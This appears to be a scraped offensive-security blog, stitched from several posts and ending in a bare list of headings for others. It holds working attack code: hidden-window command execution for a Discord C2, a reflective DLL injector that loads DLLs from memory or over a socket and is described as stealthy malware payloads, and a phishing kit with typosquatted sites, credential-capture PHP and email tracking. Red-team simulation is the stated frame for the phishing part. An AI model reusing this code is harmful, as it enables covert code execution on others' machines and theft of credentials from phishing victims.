    STARTUPINFOW si;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = hOutWr;
    si.hStdError = hOutWr;

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));


    if (!CreateProcessW(NULL, const_cast<LPWSTR>(cmd.c_str()), NULL, NULL, TRUE,
        CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        CloseHandle(hOutRd);
        CloseHandle(hOutWr);
        return "Failed to create process: " + std::to_string(GetLastError());
    }

    CloseHandle(hOutWr);
    std::string result;
    DWORD bytesRead;
    char buffer[4096];
    bool success = false;

    while (true) {
        success = ReadFile(hOutRd, buffer, sizeof(buffer) - 1, &bytesRead, NULL);
        if (!success || bytesRead == 0) break;

        buffer[bytesRead] = '\0';
        result += buffer;
    }

    WaitForSingleObject(pi.hProcess, 10000); // Wait up to 10 seconds
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hOutRd);

    return result;
}

The above function executes system command and returns its output as a string. When it is called from within the code, it should look something like:

Bot token hardcoding

Since the bot token is hardcoded as a string, IT can be easily extracted with simple RE techniques. To handle this, You can encrypt the bot token or place it at EOF in the binary after its built, and make the code read the bot token from EOF when it is started. I can go over through that but that is a topic that deserves its own post.

Wrapping Up

The codebase I’m working on already includes features like system fingerprinting and screenshot capture. I’ll cover those and more advanced features in a follow-up post.

Beginners guide to Reflective DLL Injection

2025-04-10T00:00:00+00:00

DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend.

While Standard DLL Injection is Cool, It has it’s pros and cons. One major being that it’s required for the Dll to be stored on disk.

That’s when our Malware Jesus, Stephen Fewer developed Reflective DLL Injection. In Reflective DLL Injection, The DLL can be loaded entirely from memory without ever touching the disk. In this Post we’re going to cover how to:

Create a Reflective DLL Injector.
Create a Reflective DLL.
How to pass Parameters to the Reflective DLL and how to get it’s Output.

Giving you the power to run anything in memory.

First of all, I must link the Original Reflective DLL Injection Repository. But we are going to be using my Fork of Reflective DLL Injection, Which is modified to get output from the DLL using Named Pipes.

https://github.com/quantumcore/ReflectiveDLLInjection

You can play around with this code and compile it with however you want. But for simplicity, I’m going to use the Visual Studio project itself that’s attached.

All the code in this Post is from the repo above.

Understanding the Changes

https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/dll/src/Output.cpp

#include "Output.h"

void Send(const char* data)
{
    HANDLE hPipe;
    DWORD dwWritten;


    hPipe = CreateFile(TEXT("\\\\.\\pipe\\quantumcore"),
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
    if (hPipe != INVALID_HANDLE_VALUE)
    {
        if (WriteFile(hPipe,
            data,
            strlen(data),
            &dwWritten,
            NULL)) {
            CloseHandle(hPipe);
        }
    }
}

The DLL function Send(const char* data); is used to send the Injecting program the output of the dll using named pipes, We’ll go over on how to do this in a moment.

On the Injecting Side

https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/inject/src/Output.cpp

#include "Output.h"

BOOL Run = FALSE;
std::ostringstream OUTPUT;
HANDLE hThread;

DWORD WINAPI PIPETHREAD(LPVOID lpParameter) {
	HANDLE hPipe;
	char buffer[BUFFER];
	DWORD dwRead;


	hPipe = CreateNamedPipe(TEXT("\\\\.\\pipe\\quantumcore"),
		PIPE_ACCESS_DUPLEX,
		PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,   
		1,
		1024 * 16,
		1024 * 16,
		NMPWAIT_USE_DEFAULT_WAIT,
		NULL);

	while (Run)
	{
		
		while (hPipe != INVALID_HANDLE_VALUE)
		{
			if (ConnectNamedPipe(hPipe, NULL) != FALSE) 
			{
				memset(buffer, '\0', BUFFER);
				while (ReadFile(hPipe, buffer, sizeof(buffer) , &dwRead, NULL) != FALSE)
				{
					buffer[dwRead] = '\0';

					OUTPUT << buffer;
				}
			}

			DisconnectNamedPipe(hPipe);
		}

		if (!Run)
		{
			break;
		}
	}

	return 0;
}

void Prepare()
{
	Run = TRUE;
	hThread = CreateThread(NULL, 0, PIPETHREAD, NULL, 0, NULL);
	if (hThread == NULL)
	{
		printf("Error Creating Thread: %ld\n", GetLastError());
	}
}

BOOL isPipeThreadRunning()
{
	DWORD exitCode;
	return GetExitCodeThread(hThread, &exitCode);
}

std::string ReadReflectiveDllOutput(int Timeout)
{
	int x = 0;
	if (Run)
	{
		do {
			Sleep(1000);
			x++;
		} while (x != Timeout);

		Run = FALSE; // The thread ends.

	}
	return OUTPUT.str();
}

Before Injection of the DLL, The Prepare(); function is called which starts the Named Pipe Thread to receive the DLL Output. You can see example usage of this here :

https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/inject/src/Inject.cpp

#define WIN32_LEAN_AND_MEAN
#include 
#include 
#include 
#include "Output.h"
#include "LoadLibraryR.h"
#include 

#pragma comment(lib,"Advapi32.lib")

#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }

// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
	HANDLE hFile          = NULL;
	HANDLE hModule        = NULL;
	HANDLE hProcess       = NULL;
	HANDLE hToken         = NULL;
	LPVOID lpBuffer       = NULL;
	DWORD dwLength        = 0;
	DWORD dwBytesRead     = 0;
	DWORD dwProcessId     = 0;
	TOKEN_PRIVILEGES priv = {0};

#ifdef WIN_X64
	char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
	char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
	char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif

	do
	{
		// Usage: inject.exe [pid] [dll_file]
		BOOL readOutput;
		std::string input;
		int seconds;
		std::cout << "Would you like to read the DLL Output? (y/N) : ";
		std::cin >> input;
		if (input.rfind("y",0) == 0 || input.rfind("Y", 0) == 0) {
			std::cout << "Enter number of seconds to wait before Reading Input : ";
			std::cin >> seconds;
			readOutput = true;
			Prepare();
		}

		if( argc == 1 )
			dwProcessId = GetCurrentProcessId();
		else
			dwProcessId = atoi( argv[1] );

		if( argc >= 3 )
			cpDllFile = argv[2];

		hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( hFile == INVALID_HANDLE_VALUE )
			BREAK_WITH_ERROR( "Failed to open the DLL file" );

		dwLength = GetFileSize( hFile, NULL );
		if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
		if( !lpBuffer )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
			BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
		if( !hProcess )
			BREAK_WITH_ERROR( "Failed to open the target process" );

		hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
		if( !hModule )
			BREAK_WITH_ERROR( "Failed to inject the DLL" );

		printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
		
		WaitForSingleObject( hModule, -1 );

		if (readOutput) {
			printf("\n[+] DLL Output : %s\n", ReadReflectiveDllOutput(seconds).c_str());
		}
		

	} while( 0 );


	if( lpBuffer )
		HeapFree( GetProcessHeap(), 0, lpBuffer );

	if( hProcess )
		CloseHandle( hProcess );


	
	
	

	return 0;
}

So basically, To receive Output from the Reflective DLL, We are creating a Named Pipe Server before injecting,

Then the Reflective DLL is injected and Writes the output to the Named Pipe Server.

Passing Parameters to the DLL

This one didn’t require any modifications, The original Reflective DLL Injection allows you to pass parameters using LoadRemoteLibraryR function.

Example Code :

// Sample code of Injector that passes parameter to the dll
int main( int argc, char * argv[] )
{
	HANDLE hFile          = NULL;
	HANDLE hModule        = NULL;
	HANDLE hProcess       = NULL;
	HANDLE hToken         = NULL;
	LPVOID lpBuffer       = NULL;
	DWORD dwLength        = 0;
	DWORD dwBytesRead     = 0;
	DWORD dwProcessId     = 0;
	TOKEN_PRIVILEGES priv = {0};
        LPVOID lpRemoteCommandLine = NULL;
        char* cpCommandLine = "Hello, World!";
#ifdef _WIN64
	char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
	char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
	char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif
	do {
              // Open or LOAD DLL ...
              unsigned char* DLL = ..;
                if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken))
                {
                    priv.PrivilegeCount = 1;
                    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                    if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;priv.Privileges[0].Luid))
                        AdjustTokenPrivileges(hToken, FALSE, &amp;priv, 0, NULL, NULL);
                    CloseHandle(hToken);
                }
                hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
                if (!hProcess)
                    BREAK_WITH_ERROR("Failed to open the target process");
                    lpRemoteCommandLine = VirtualAllocEx(hProcess, NULL, strlen(cpCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
                    if (!lpRemoteCommandLine)
                        BREAK_WITH_ERROR("[INJECT] inject_dll. VirtualAllocEx 1 failed");
                    if (!WriteProcessMemory(hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine) + 1, NULL))
                        BREAK_WITH_ERROR("[INJECT] inject_dll. WriteProcessMemory 1 failed");
                    hModule = LoadRemoteLibraryR(hProcess, DLL,sizeof(DLL), lpRemoteCommandLine);
                    if (!hModule)
                        BREAK_WITH_ERROR("Failed to inject the DLL");
                WaitForSingleObject(hModule, -1);
	} while( 0 );
	
	if (hFile
		CloseHandle(hFile);
	
	if( lpBuffer )
		HeapFree( GetProcessHeap(), 0, lpBuffer );
	if( hProcess )
		CloseHandle( hProcess );
	return 0;
}

The Example code above expects the dll to be in unsigned char* DLL and it passes cpCommandLine into it.

Reading Parameters in the DLL

In your reflective dll, The parameters are in lpReserverd, From which a string an easily be extracted by.

char* cpCommandLine = (char*)lpReserved;

Sample Code :

#include "ReflectiveLoader.h"
#include "Output.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason ) 
    { 
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
                        char* cpCommandLine = (char*)lpReserved;
            MessageBoxA(NULL, cpCommandLine, "Hello, World!", MB_OK);
			
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}

The above will show a message box showing the parameters that were passed from the injector.

Making a Reflective DLL

A Simple Reflective DLL Example is here

https://github.com/quantumcored/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveDll.cpp

#include "ReflectiveLoader.h"
#include "Output.h"
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason ) 
    { 
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
            MessageBoxA(NULL, "Hello from Reflective DLL!", "Success", MB_OK);
			Send("Evening the Odds.");
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}

I’m gonna be using this as base to build our sample DLL. This, Currently, Shows a message box and returns output “Evening the Odds”. I wrote this for testing Outputs.

Let’s make a DLL that Reads in a URL from Parameters and Opens it, Then return output.

#include "ReflectiveLoader.h"
#include "Output.h"
#include 
#include

extern HINSTANCE hAppInstance;

//===============================================================================================//
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	char* Url;
	std::ostringstream out;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;	
		
		Url=  (char*)lpReserved; // The url passed in parameter by our injector, make sure the url starts with http/https
		ShellExecute(0, 0, Url, 0, 0, SW_SHOW); // open the url
		out << "Opened URL : " << Url << std::endl;
		Send(out.str().c_str());
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

The above dll is pretty simple, It reads in the url from parameters, Opens the url using ShellExecute and sends output to the injector that the url Url was opened.

But a Reflective DLL is nothing without the injector. So let’s make a complete injector for this.

#define WIN32_LEAN_AND_MEAN
#include 
#include 
#include 
#include "Output.h"
#include "LoadLibraryR.h"
#include 

#pragma comment(lib,"Advapi32.lib")

#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }

// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
	HANDLE hFile          = NULL;
	HANDLE hModule        = NULL;
	HANDLE hProcess       = NULL;
	HANDLE hToken         = NULL;
	LPVOID lpBuffer       = NULL;
	DWORD dwLength        = 0;
	DWORD dwBytesRead     = 0;
	DWORD dwProcessId     = 0;
	TOKEN_PRIVILEGES priv = {0};
	LPVOID lpRemoteCommandLine = NULL;
	char* cpCommandLine = "https://quantumcored.com";

#ifdef WIN_X64
	char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
	char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
	char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif

	do
	{
		// Usage: inject.exe [pid] [dll_file]
		BOOL readOutput;
		std::string input;
		int seconds;
		std::cout << "Would you like to read the DLL Output? (y/N) : ";
		std::cin >> input;
		if (input.rfind("y",0) == 0 || input.rfind("Y", 0) == 0) {
			std::cout << "Enter number of seconds to wait before Reading Output : ";
			std::cin >> seconds;
			readOutput = true;
			Prepare();
		}

		if( argc == 1 )
			dwProcessId = GetCurrentProcessId();
		else
			dwProcessId = atoi( argv[1] );

		if( argc >= 3 )
			cpDllFile = argv[2];

		hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( hFile == INVALID_HANDLE_VALUE )
			BREAK_WITH_ERROR( "Failed to open the DLL file" );

		dwLength = GetFileSize( hFile, NULL );
		if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
		if( !lpBuffer )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
			BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
		if( !hProcess )
			BREAK_WITH_ERROR( "Failed to open the target process" );

		lpRemoteCommandLine = VirtualAllocEx(hProcess, NULL, strlen(cpCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if (!lpRemoteCommandLine)
			BREAK_WITH_ERROR("[INJECT] inject_dll. VirtualAllocEx 1 failed");

		if (!WriteProcessMemory(hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine) + 1, NULL))
			BREAK_WITH_ERROR("[INJECT] inject_dll. WriteProcessMemory 1 failed"); // write parameters

		hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, lpRemoteCommandLine); // Load the dll
		if (!hModule)
			BREAK_WITH_ERROR("Failed to inject the DLL");

		printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
		
		WaitForSingleObject( hModule, -1 );

		if (readOutput) {
			printf("\n[+] DLL Output : %s\n", ReadReflectiveDllOutput(seconds).c_str());
		}
		

	} while( 0 );


	if( lpBuffer )
		HeapFree( GetProcessHeap(), 0, lpBuffer );

	if( hProcess )
		CloseHandle( hProcess );


	
	
	

	return 0;
}

Loading the DLL over socket

The DLL can also be loaded over a network using Sockets, And injected.

Sample code :

https://github.com/quantumcored/remote_hacker_probe/blob/main/probe/windows/ProbeCpp.cpp#L257

unsigned char* DLL = (unsigned char*) HeapAlloc(GetProcessHeap(), 0, expected + 1); // This is where DLL will be stored
// Where 'expected' is the Size of the dll.

            memset(recvbuf, '\0', BUFFER);
            ZeroMemory(DLL, expected + 1);
            int total = 0;

            do {
                fsize = recv(sockfd, recvbuf, BUFFER, 0);
                if (fsize == SOCKET_ERROR && WSAGetLastError() == WSAECONNRESET)
                {
                    connected = FALSE;
                    // printf("[X] Connection interrupted while receiving DLL\n");
                }
                else if (fsize == 0) {
                    break;
                }
                else {
                    memcpy(DLL + total, recvbuf, fsize);
                    total += fsize;
                }
            } while (total != expected);
// Continue Injecting the DLL.

Giving stealth when running code remotely.

Reflective DLL Malware Payloads

Having the ability to run your own code in Memory is a great. You can write your own Reflective DLLS and run them.

That’s how metasploits meterpreter works. It relies heavily on Reflective DLL Injection. Many advanced frameworks use Reflective DLL Injection, Including Cobalt Strike, Metasploit and many APT’s.

Thanks for reading!

Crafting your own Phishing Infrastructure

2025-04-10T00:00:00+00:00

Recently, I was assigned to carry out a phishing simulation for a client. Of course, the most efficient approach was to leverage an existing framework—such as Gophish—for the setup.

The Problem with GoPhish

Using gophish, the entire phishing campaign would be easily executed with a click of a button. Makes life simple, but the problem is that mails sent from GoPhish land directly in the SPAM folder. This was a huge problem since I also knew that my targets were using Office 365 with Windows Defender for Outlook service. Which easily detects spam / phishing mails.

Mail sent with Gophish append the following headers:

X-Gophish-Contact
X-Gophish-Signature

This is a major problem for us red teamers since security controls can easily detect a mail with such headers as malicious.

Now there are two ways to proceed:

Rebuild Gophish from source code and add in custom headers, as detailed in this Guide.
Create your own custom Phishing Infrastructure.

Of course the first method is not as interesting and fun as the second, Lets make our own phishing infra.

For privacy reasons, Lets refer to my client against which this phishing campaign was executed as Hackme LTD.

Prerequisites

A Typosquatting domain.
- For example, if the original domain is hackme.com, we would obtain hackmee.com.
Email accounts to send the emails from.
A clone of the original website using GoClone.
A Droplet or server to track the emails.

1. Setting up a TypoSquat Website

Use goclone to clone the original website.

For this phishing campaign to work properly, We need the victim to submit they’re information somewhere. You can acheive this by implementing your own custom login / data submission forms, and use the following example php to capture the data.

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = 'post_data.txt';
    $postData = json_encode($_POST); 
    file_put_contents($file, $postData . PHP_EOL, FILE_APPEND);
    
    echo "Data has been saved successfully.";
} else {
    echo "No POST data received.";
}
?>

This would save the post-ed data to a local file on the webserver. However, with just few modifications you can modify it to email the data or any other way to save it.

At this point, Step 1 is complete, A typosquatted website that captures the data submitted on the website and saves it. Make sure you add SSL Certificates to improve legitimacy.

2. Mail Tracking System

Since gophish logs email clicks, We have to implement this feature. This data is valuable to us to see which users clicked the phishing email, And which user clicked the links in the email.

Gophish implements this feature by using a tracking image pixel. When the email is loaded in the mail client, a request is sent back to the Gophish server to load the image, indicating that the email has been opened.

Lets write our mail tracking system, that would, Send the mails, Track if they are opened / read and also track if the buttons in the mail were clicked.

Lets make a csv containing our victims email addresses, These would be the employees from Hackme LTD.

eg:

id,first_name,last_name,email
52SLD,Jhon,Doe,jhon.doe@hackme.ltd

Sending the Mails

Using the following code, We can send email for each user in the csv with their own unique identifier that we can use to track them.

def send_tracked_email(recipient, rid, body=None):
    if body is None:
        body = f"""
        Click here: {rid}">https://hackme.ltd/
        """
    
    # Generate unique tracking IDs
    open_tracker_id = str(uuid.uuid4())
    click_tracker_id = str(uuid.uuid4())

    # Store tracking IDs in database
    c.execute("INSERT INTO tracking_data (id, type, rid) VALUES (?, ?, ?)",
              (open_tracker_id, 'open', rid))
    c.execute("INSERT INTO tracking_data (id, type, rid) VALUES (?, ?, ?)",
              (click_tracker_id, 'click', rid))
    conn.commit()

    # Create email content
    subject = "Hello, World!"
    tracked_link = f"{TRACKING_DOMAIN}/track_click/{click_tracker_id}"
    tracking_pixel = f'{TRACKING_DOMAIN}/track_open/{open_tracker_id}" width="1" height="1">'

    html_body = f"""
    
        
            {body}
            {tracking_pixel}
        
    
    """

    # Create email message
    msg = MIMEMultipart()
    msg['From'] = SENDER_EMAIL
    msg['To'] = recipient
    msg['Subject'] = subject
    msg.attach(MIMEText(html_body, 'html'))

    # Send email
    try:
        with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT, context=ssl.create_default_context()) as server:
            server.login(SENDER_EMAIL, SENDER_PASSWORD)
            server.sendmail(SENDER_EMAIL, recipient, msg.as_string())
            print(f"Email sent to {recipient} with RID {rid}")
    except Exception as e:
        print(f"Error sending to {recipient}: {str(e)}")

This function, send_tracked_email, sends an email with tracking for opens and clicks:

Logic:

If no body is provided, a default link with rid is used.
Generates unique open_tracker_id and click_tracker_id for tracking.
Inserts tracking data (open/click events) into the local database.
Creates an HTML email with the provided or default body, including tracking pixel (for open) and a tracked link (for click).
Sends the email using SMTP with SSL, logging into the server with credentials.

In this case, Our “TRACKING_DOMAIN” would be the callback url where the following flask application will be hosted.

Flask Tracking Server

from flask import Flask, redirect, Response
import sqlite3

app = Flask(__name__)

conn = sqlite3.connect('tracking.db', check_same_thread=False)
c = conn.cursor()

# Drop existing table if it exists
c.execute("DROP TABLE IF EXISTS tracking_data")
conn.commit()

# Create new table with correct schema
c.execute('''CREATE TABLE IF NOT EXISTS tracking_data
             (id TEXT PRIMARY KEY,
              type TEXT,
              rid TEXT,
              timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
              user_agent TEXT,
              ip_address TEXT)''')
conn.commit()
@app.route('/track_open/')
def track_open(tracker_id):
    # Log the open event with client info
    user_agent = request.headers.get('User-Agent')
    ip_address = request.remote_addr
    
    c.execute('''INSERT INTO tracking_data 
                 (id, event_type, user_agent, ip_address) 
                 VALUES (?, ?, ?, ?)''',
              (tracker_id, 'open', user_agent, ip_address))
    conn.commit()
    
    # Return transparent 1x1 pixel
    return Response(
        b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b',
        mimetype='image/gif'
    )

@app.route('/track_click/')
def track_click(tracker_id):
    # Log the click event
    user_agent = request.headers.get('User-Agent')
    ip_address = request.remote_addr
    
    c.execute('''INSERT INTO tracking_data 
                 (id, event_type, user_agent, ip_address) 
                 VALUES (?, ?, ?, ?)''',
              (tracker_id, 'click', user_agent, ip_address))
    conn.commit()
    return redirect("https://google.com") # redirect wherever

Routes:

/track_open/: This route tracks when an email is opened.
- It logs the tracker_id, event type (open), user-agent, and IP address into the database.
- It returns a transparent 1x1 GIF image to the client
/track_click/: This route tracks when a link is clicked.
- It logs the tracker_id, event type (click), user-agent, and IP address into the database.
- After logging the click, it redirects the user to a pre-configured URL (in this case, https://google.com). This will be our typosquatted url, Where the user would enter they’re credentials.

The entire system would look like the following:

To view the results without having to access the local sqlite database, lets add another endpoint in the flask app.

@app.route('/opens')
def view_opens():
    ip = request.args.get('ip')
    rid = request.args.get('rid')
    
    query = '''
        SELECT tracker_id, rid, ip_address, timestamp
        FROM tracking_data
        WHERE event_type = 'open'
    '''
    conditions = []
    params = []
    if ip:
        conditions.append("ip_address = ?")
        params.append(ip)
    if rid:
        conditions.append("rid = ?")
        params.append(rid)
    if conditions:
        query += " AND " + " AND ".join(conditions)
    
    c.execute(query, params)
    opens = c.fetchall()
    
    output = []
    for open_event in opens:
        tracker_id, rid, ip_addr, timestamp = open_event
        email = rid_to_email.get(rid, 'Email not found')
        output.append(f"Email with tracker ID {tracker_id} (RID: {rid} ({email})) was opened by IP {ip_addr} at {timestamp}")
    
    return f"{'\n'.join(output)}"

And this is how the end result would look like, visting the flask app on /opens will show us the results.

In conclusion, while building a custom phishing infrastructure from scratch is an interesting and educational exercise, it’s important to note that it’s not as efficient or reliable as using a framework like GoPhish, which has been developed by a team of experts specifically for this purpose. GoPhish provides a streamlined, well-tested solution for phishing simulations.

However, understanding the underlying processes and knowing how each step works is crucial for any red teamer. Gaining this insight not only enhances your ability to adapt and customize your approach but also deepens your understanding of the attack lifecycle, making you a more versatile and effective operator in the field.

QuantumCore

Woolexa Stealer - Full Malware Analysis Report

Executive Summary

Key Judgments

1. Malware Identity

2. Incident Timeline (Reconstructed)

3. Initial Access & Distribution

4. MITRE ATT&CK Mapping

5. Internal Configuration

5.1 Hardcoded in Config.cs

5.2 Embedded Config (ConfigEmbedded.cs)

5.3 Environment Variable Overrides

6. C2 Infrastructure

6.1 Domains & Servers

6.2 Infrastructure Analysis

7. Data Exfiltration Capabilities

7.1 Browser Data Theft

7.2 Discord Token Theft

7.3 Platform Account Hijacking

7.4 Victim System Profiling

7.5 Exfiltration Pipeline

8. Remote Access (HVNC) Capabilities

8.1 Remote Desktop (HVNC)

8.2 Surveillance

8.3 File Management

8.4 Command Execution

9. Persistence Mechanisms

9.1 WMI Event Subscription (Primary)

9.2 Scheduled Task (Fallback)

9.3 Payload Copy

9.4 DLL Proxy Injection

10. Privilege Escalation & UAC Bypass

11. Anti-Forensics & Evasion

12. Detection Opportunities

12.1 YARA Rule

12.2 Sigma Rule - WMI Persistence

12.3 Sigma Rule - Scheduled Task

12.4 Splunk / ELK Query - Network IOC

12.5 Disk Forensic Artifact Paths

13. C2 Analysis & Exploitation

13.1 Authentication Weakness

13.2 Endpoint Access Matrix

13.3 WebSocket Agent Impersonation

13.4 Data Decryption

13.5 Direct Origin Access

14. Indicators of Compromise (IOC)

14.1 Network IOCs

14.2 Static IOCs

14.3 Host IOCs

14.4 Attacker Identity IOCs

15. Attribution

In Summary

Breach Simulation using SliverC2

Breach Simulation: Lateral Movement using Sliver C2

Command & Control

Credential Access

Pivoting via Tunnel

Internal Reconnaissance

Lateral Movement

Second Foothold

Credential Expansion

Mail Delivery Subsystem Phishing Analysis

Encoded Payload via Percent-Encoding

Runtime Reconstruction Using unescape()

Honeypot Field

Credential Flow and Exfiltration Path

Credential Exfiltration Request (POST)

WHOIS Findings for submit-form.com

Discord as C2 Implementation Guide

Using Discord as a C2

Prerequisites

Setting up Discord BOT

Lets Code

Connect to discord

Adding a shell

Bot token hardcoding

Wrapping Up

Beginners guide to Reflective DLL Injection

Understanding the Changes

Passing Parameters to the DLL

5.1 Hardcoded in `Config.cs`

5.2 Embedded Config (`ConfigEmbedded.cs`)

Runtime Reconstruction Using `unescape()`